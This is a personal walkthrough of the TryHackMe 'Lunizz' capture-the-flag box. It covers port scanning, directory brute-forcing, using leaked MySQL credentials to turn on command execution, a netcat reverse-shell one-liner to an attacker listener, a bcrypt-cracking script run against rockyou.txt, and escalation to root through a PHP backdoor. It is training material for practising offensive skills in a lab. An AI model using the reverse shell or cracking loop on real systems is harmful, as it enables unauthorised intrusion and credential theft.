TryHackMe: Lunizz CTF
TryHackMe: Luinizz CTF by kral4
Enumeration
Add to /etc/hosts
and run our trusty old rustscan
╰─⠠⠵ rustscan -a lunizz --ulimit 10000 -- -sC -sV -oA lunizz -A -v
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/tj/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.162.77:22
Open 10.10.162.77:80
Open 10.10.162.77:4444
Open 10.10.162.77:5000
Open 10.10.162.77:3306
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-01 19:44 GMT
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:44
Completed NSE at 19:44, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:44
Completed NSE at 19:44, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:44
Completed NSE at 19:44, 0.00s elapsed
Initiating Ping Scan at 19:44
Scanning 10.10.162.77 [2 ports]
Completed Ping Scan at 19:44, 0.03s elapsed (1 total hosts)
Initiating Connect Scan at 19:44
Scanning lunizz (10.10.162.77) [5 ports]
Discovered open port 22/tcp on 10.10.162.77
Discovered open port 3306/tcp on 10.10.162.77
Discovered open port 80/tcp on 10.10.162.77
Discovered open port 4444/tcp on 10.10.162.77
Discovered open port 5000/tcp on 10.10.162.77
Completed Connect Scan at 19:44, 0.03s elapsed (5 total ports)
Initiating Service scan at 19:44
Scanning 5 services on lunizz (10.10.162.77)
Completed Service scan at 19:44, 6.11s elapsed (5 services on 1 host)
NSE: Script scanning 10.10.162.77.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:44
Completed NSE at 19:44, 5.28s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:44
Completed NSE at 19:44, 0.73s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:44
Completed NSE at 19:44, 0.00s elapsed
Nmap scan report for lunizz (10.10.162.77)
Host is up, received syn-ack (0.033s latency).
Scanned at 2021-03-01 19:44:03 GMT for 12s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f8:08:db:be:ed:80:d1:ef:a4:b0:a9:e8:2d:e2:dc:ee (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQ6tpIF+vVAr4XW2jvHXaX311/qtXWgA/XJsPs4e1sAEDV9x9qQb6d6YTUECsJVg7r/HLuK4U3Bn5tco9Aa4cfij07qlbby08K8ByOrCFHeOJreYVqjsCBMdOo29GC83hOH8IzCo99pONcuviuPtRXion4PURNZPkdiMjhJv0ugruICXvqvNuXCtb7o4cF+OGNx7vGzllSrBJoNW6dA3+bhwE+ktZ14Ezbycb4CzbGoKXC+SKqt+82VrwpC4F9B3JPsSs6dkutSW1Zs0mtBYynv4dXzi3/dyY89jNedHOzwlIsOOTPfMhDQ9Qu6LpixmbpTTKnAlW+6gVAo21pwWlZ
| 256 79:01:d6:df:8b:0a:6e:ad:b7:d8:59:9a:94:0a:09:7a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBTbAWLeWIuaAVyErImxGlw4qYC6DkIkhWx6m84sgWaNBG5dhXu96NpywKz3Qr/lq2y53WN0RufLUlmQGhJ2QMA=
| 256 b1:a9:ef:bb:7e:5b:01:cd:4c:8e:6b:bf:56:5d:a7:f4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRqrXXIaHRlVe9pndYgXYOQLkggzjJoC6ZToAWWHeUH
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3306/tcp open mysql syn-ack MySQL 5.7.32-0ubuntu0.18.04.1
| mysql-info:
| Protocol: 10
| Version: 5.7.32-0ubuntu0.18.04.1
| Thread ID: 5
| Capabilities flags: 65535
| Some Capabilities: Speaks41ProtocolOld, FoundRows, IgnoreSpaceBeforeParenthesis, LongColumnFlag, SupportsTransactions, ConnectWithDatabase, SupportsLoadDataLocal, SupportsCompression, Support41Auth, SwitchToSSLAfterHandshake, DontAllowDatabaseTableColumn, LongPassword, InteractiveClient, IgnoreSigpipes, Speaks41ProtocolNew, ODBCClient, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: i:ZH\x12\x061Q@c\x17z\x03VXQ\x058\x0Ca
|_ Auth Plugin Name: mysql_native_password
| ssl-cert: Subject: commonName=MySQL_Server_5.7.32_Auto_Generated_Server_Certificate
| Issuer: commonName=MySQL_Server_5.7.32_Auto_Generated_CA_Certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-12-10T19:29:01
| Not valid after: 2030-12-08T19:29:01
| MD5: 1dd1 d145 b3aa d2c4 6652 764c 0cbd 3bbd
| SHA-1: 183a eca2 02d3 982a 72a1 15d6 973b 6eb1 5cae 6e6c
| -----BEGIN CERTIFICATE-----
| MIIDBzCCAe+gAwIBAgIBAjANBgkqhkiG9w0BAQsFADA8MTowOAYDVQQDDDFNeVNR
| TF9TZXJ2ZXJfNS43LjMyX0F1dG9fR2VuZXJhdGVkX0NBX0NlcnRpZmljYXRlMB4X
| DTIwMTIxMDE5MjkwMVoXDTMwMTIwODE5MjkwMVowQDE+MDwGA1UEAww1TXlTUUxf
| U2VydmVyXzUuNy4zMl9BdXRvX0dlbmVyYXRlZF9TZXJ2ZXJfQ2VydGlmaWNhdGUw
| ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3dOQjVEiheXhdhZwnHxq4
| 9+mEE3PH4Qu6d9vDYjX08ZzIPRRC4uk70KVmd7LAjtgLIeuw0uNHFZGJ0tyGH05M
| FgBsbNpwBfKTiCaCdv+45sMcFAktoesNkhWxDJZfXm+j02kAq8FmKSG01q2b/EVR
| 21xmiyfAkGzUF00yFq+evPY38zDANHuXDL7ar4SVhzNcUcIWNbymVPz7ShTj1AKz
| NN2//xdKOTxwnOYTFVDDBZ9S+MwJXVlSbREg5iant1CldktC5C7olpGsIsyBJXDO
| O4fO0LaA0NLqkgggE2kH5WUhOJVeatSLnESa7inmiN3gs3YLEuNZDm4Q9SCul33r
| AgMBAAGjEDAOMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQELBQADggEBAGpSusxJ
| qpmorCaIM+ILbP/e9P2eC/p5JbtZtT6kOhrHSLO5JMalq4r2SYCIcYdWc53KbE4O
| yvl9sFLsL7J0gOkrjXJquyjzcQEpC8EbrWiYgLHCCZUCR1ATwT/ZT4b1fZz2Og38
| BdNLMlRV5KRRTfvvTvNkax7wmrbUjrnnuYOc4JJpMR1HMGk3ZDpgn/GP0oBAsJuS
| S0bMSkdBXDGof4NDbvMBKNfhmld7BAOKn1vFSvwzsyLQvaLdJ6UExHNgsIb3BOMv
| AbkjXHlx2ciuMYTPG/T3gkf503ZCkXHfyiibqptuoKH6BbNp+omKHcKBFqx+b7NS
| SUxy89TgA5jAO44=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
4444/tcp open tcpwrapped syn-ack
5000/tcp open tcpwrapped syn-ack
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:44
Completed NSE at 19:44, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:44
Completed NSE at 19:44, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:44
Completed NSE at 19:44, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.81 seconds
22/ssh
No username or password so skip
80/http
Basic Apache2 page
4444/http
Base64 string seems to change with each refresh....
Can you decode this for me?
cEBzc3dvcmQ=
Wrong Password
5000/????
Looks like it could be some b0rk3d ssh server....
╰─⠠⠵ nc lunizz 5000
OpenSSH 5.1
Unable to load config info from /usr/local/ssl/openssl.cnf%
3306/mysql
mysql, no username or password so skip
What is the default password for mysql
Ok, nothing obvious so lets break out gobuster
on our standard http
port.
╰─⠠⠵ gobuster dir -u http://lunizz.local -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://lunizz.local
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/03/01 19:50:23 Starting gobuster
===============================================================
Progress: 12355 / 220561 (5.60%)
/hidden (Status: 301)
/whatever (Status: 301)
/server-status (Status: 403)
/hidden
Tried a few different tricks here bit does not seem to be saving anything to disk that I can see.
/whatever
Looks like it should run commands entered, but does not ..... something to do with Command Executer Mode :0
?
/server-status
Forbidden
HINT
admin forgot to delete a .txt file that contains credentials. can you find it
Ok, this points us to a text file so lets run gobuster
with -x txt
╰─⠠⠵ gobuster dir -u http://lunizz.local -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt -t 40
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://lunizz.local
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt
[+] Timeout: 10s
===============================================================
2021/03/01 20:05:54 Starting gobuster
===============================================================
/[REDACTED].txt (Status: 200)
Browsing to the file..
Made By CTF_SCRIPTS_CAVE (not real)
Thanks for installing our ctf script
#Steps
- Create a mysql user (runcheck:[REDACTED])
- Change necessary lines of config.php file
Done you can start using ctf script
#Notes
please do not use default creds (IT'S DANGEROUS) <<<<<<<<<---------------------------- READ THIS LINE PLEASE
I can't run commands, there must be a mysql column that controls command executer
Ok, so now we have a username:password
let's connect over mysql
╰─⠠⠵ mysql -u runcheck -p[REDACTED] -h lunizz
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 16
Server version: 5.7.32-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| runornot |
+--------------------+
2 rows in set (0.060 sec)
MySQL [(none)]> use runornot;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [runornot]> show tables;
+--------------------+
| Tables_in_runornot |
+--------------------+
| runcheck |
+--------------------+
1 row in set (0.040 sec)
MySQL [runornot]> select * from runcheck
-> ;
+-------------+
| [REDACTED] |
+-------------+
| 0 |
+-------------+
1 row in set (0.049 sec)
Answer: column name ***
a folder shouldn't be...
Now we are in the DB lets flip the value to 1
MySQL [runornot]> update runcheck set [REDACTED] = 1;
Query OK, 1 row affected (0.034 sec)
Rows matched: 1 Changed: 1 Warnings: 0
MySQL [runornot]> select * from runcheck;
+-------------+
| [REDACTED] |
+-------------+
| 1 |
+-------------+
1 row in set (0.052 sec)
Let's head back over to /whatever and try a command
We now have remote code execution, so lets get a reverse shell.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {IP-ADDRESS} 4444 >/tmp/f
╰─⠠⠵ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.5.198] from (UNKNOWN) [10.10.162.77] 33458
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@lunizz:/var/www/html/whatever$ export TERM=xterm
export TERM=xterm
www-data@lunizz:/var/www/html/whatever$ ^Z
[1] + 5943 suspended nc -lvnp 4444
╰─⠠⠵ stty raw -echo; fg
[1] + 5943 continued nc -lvnp 4444
www-data@lunizz:/var/www/html/whatever$
www-data@lunizz:/var/www/html/whatever$
Looking in /
we see a directory that is not standard.
Answer: /*****
hi adam, do you remember our place?
Ok, looking around under /var/backups/.script
we see the scripts that run on :4444
and :5000
but offer no joy. Looking under the folder in the above answer we have a pass
directory that contains a python script bcrypt_encryption.py
import bcrypt
import base64
password = # https://www.youtube.com/watch?v=-tJYN-eG1zk&ab_channel=QueenOfficial
bpass = password.encode('ascii')
passed= str(base64.b64encode(bpass))
hashAndSalt = bcrypt.hashpw(passed.encode(), bcrypt.gensalt())
print(hashAndSalt)
salt = b'$2b$12$SVInH5XmuS3C7eQkmqa6UOM6sDIuumJPrvuiTr.Lbz3GCcUqdf.z6'
# I wrote this code last year and i didnt save password verify line... I need to find my password
The Youtube link is to Queen - We Will Rock You (Official Video) which gives us a hint to rockyou.txt, lets copy the hash out and try john
..
╰─⠠⠵ john --format=bcrypt hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
This does not seem to get us anywhere as the script adds a salt.......
Looks like we need to do some reversing of the python script..... modified script
#!/usr/bin/env python3
import bcrypt
import base64
import sys
salt = b'$2b$12$SVInH5XmuS3C7eQkmqa6UO'
mypass = b'$2b$12$SVInH5XmuS3C7eQkmqa6UOM6sDIuumJPrvuiTr.Lbz3GCcUqdf.z6'
line = sys.argv[1]
bpass = line.strip().encode('ascii')
passed= str(base64.b64encode(bpass))
hashAndSalt = bcrypt.hashpw(passed.encode(), salt)
print("Password {}".format(line.strip()))
if ( hashAndSalt == mypass ):
print(hashAndSalt)
print("Password {}".format(line.strip()))
print("============================FOUND========================")
input("dirty quit for while loop")
Pythin is not my strong suit so had to borrow this from sanz write-up. I tweaked it to use a command line argument to get past some issues of it crashing out on some entries....
Then ran while read password; do ./script.py $password ; done < /usr/share/wordlists/rockyou.txt
to loop through rockyou.txt
Due to how far this password is in
rockyou.txt
it can take an absolute age to actually get the password
Password ........
Password ........
Password ........
Password ........
b'$2b$12$SVInH5XmuS3C7eQkmqa6UOM6sDIuumJPrvuiTr.Lbz3GCcUqdf.z6'
Password [REDACTED]
============================FOUND========================
dirty quit for while loop
Now we can use su - adam
and the password found to become adam
. From here we see a binary runasmason
, again wasted some time here playing with it...
In the end I ended up running a find
command to looks for files owned by adam
adam@lunizz:~$ find / -user adam 2>/dev/null | grep -v "/proc/"
/proct/pass/bcrypt_encryption.py
/home/adam
/home/adam/.bashrc
/home/adam/.viminfo
/home/adam/Desktop
/home/adam/Desktop/.archive
/home/adam/Desktop/.archive/to_my_best_friend_adam.txt
/home/adam/.bash_logout
/home/adam/.profile
/home/adam/Downloads
/home/adam/Downloads/empty_file
/home/adam/Documents
Taking a look inside /home/adam/Desktop/.archive/to_my_best_friend_adam.txt
we get
do you remember our place
i love there it's soo calming
i will make that ***** my password
--
https://www.google.com/maps/[REDACTED]
Following the google link we get to a place, it's not the Lake but what you see in the sky...
Answer: ....... ......
user.txt
Using the hint i will make that ***** my password
we take the answer above and create a word list that we can enumerate through to find the correct format for mason
.
adam@lunizz:~$ su - mason
Password:
mason@lunizz:~$ cat user.txt
thm{[REDACTED]}
root.txt
Now that we have mason
's password we can take a look at the service listening on 127.0.0.1:8080
which I spotted when looking around the box.
mason@lunizz:~$ curl http://127.0.0.1:8080
**********************************************************
* Mason's Root Backdoor *
* *
* Please Send Request (with "password" and "cmdtype") *
* *
**********************************************************
-------------CMD TYPES-------------
lsla
reboot
passwd
Sending the password with lsla
mason@lunizz:~$ curl http://127.0.0.1:8080 -X POST -d "password=[REDACTED]&cmdtype=lsla"
total 44
drwx------ 6 root root 4096 Dec 10 19:58 .
drwxr-xr-x 25 root root 4096 Dec 14 04:53 ..
lrwxrwxrwx 1 root root 9 Dec 10 19:53 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3771 Dec 10 19:15 .bashrc
drwx------ 3 root root 4096 Dec 10 20:13 .cache
drwx------ 3 root root 4096 Dec 10 19:15 .gnupg
-rw-r--r-- 1 root root 794 Dec 8 16:39 index.php
drwxr-xr-x 3 root root 4096 Dec 10 19:14 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 37 Dec 8 16:56 root.txt
-rw-r--r-- 1 root root 66 Dec 10 19:35 .selected_editor
drwx------ 2 root root 4096 Dec 10 19:09 .ssh
**********************************************************
* Mason's Root Backdoor *
* *
* Please Send Request (with "password" and "cmdtype") *
* *
**********************************************************
-------------CMD TYPES-------------
lsla
reboot
passwd
I tried a couple of command injections but they did not work. I skipped reboot
as I do not want to reboot the server and tried passwd
mason@lunizz:~$ curl http://127.0.0.1:8080 -X POST -d "password=[REDACTED]&cmdtype=passwd"
<br>Password Changed To :[REDACTED]<br>**********************************************************
* Mason's Root Backdoor *
* *
* Please Send Request (with "password" and "cmdtype") *
* *
**********************************************************
-------------CMD TYPES-------------
lsla
reboot
passwd
Hmmm, <br>Password Changed To :[REDACTED]<br>
, who's password ? Roots ?
mason@lunizz:~$ su -
Password:
root@lunizz:~#
BOOM, we are in as root, looking at the index.php
there was no command injection ...
root@lunizz:~# cat index.php
<?php
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (isset($_POST['password']) and $_POST['password'] == "[REDACTED]") {
if (isset($_POST['cmdtype'])) {
if ($_POST['cmdtype'] == "passwd") { system("echo -n '[REDACTED]\n[REDACTED]' | passwd"); echo "<br>Password Changed To :[REDACTED]<br>"; }
if ($_POST['cmdtype'] == "lsla") { system("ls -al /root"); }
if ($_POST['cmdtype'] == "reboot") { system("reboot"); }
}
} else {
echo "Wrong Password [your place ;)]!! \n";
}
}
?>
**********************************************************
* Mason's Root Backdoor *
* *
* Please Send Request (with "password" and "cmdtype") *
* *
**********************************************************
-------------CMD TYPES-------------
lsla
reboot
passwd
Anyway we can read the root.txt
and get our flag!
root@lunizz:~# cat root.txt
thm{[REDACTED]}
Done !!!
What a pain in the backside that one was, cracking the password for adam
took sooooo loooonnnngggggg. A grep -n "*password*" /usr/share/wordlists/rockyou.txt
shows that the password is more than 7 million into the rockyou.txt
file :(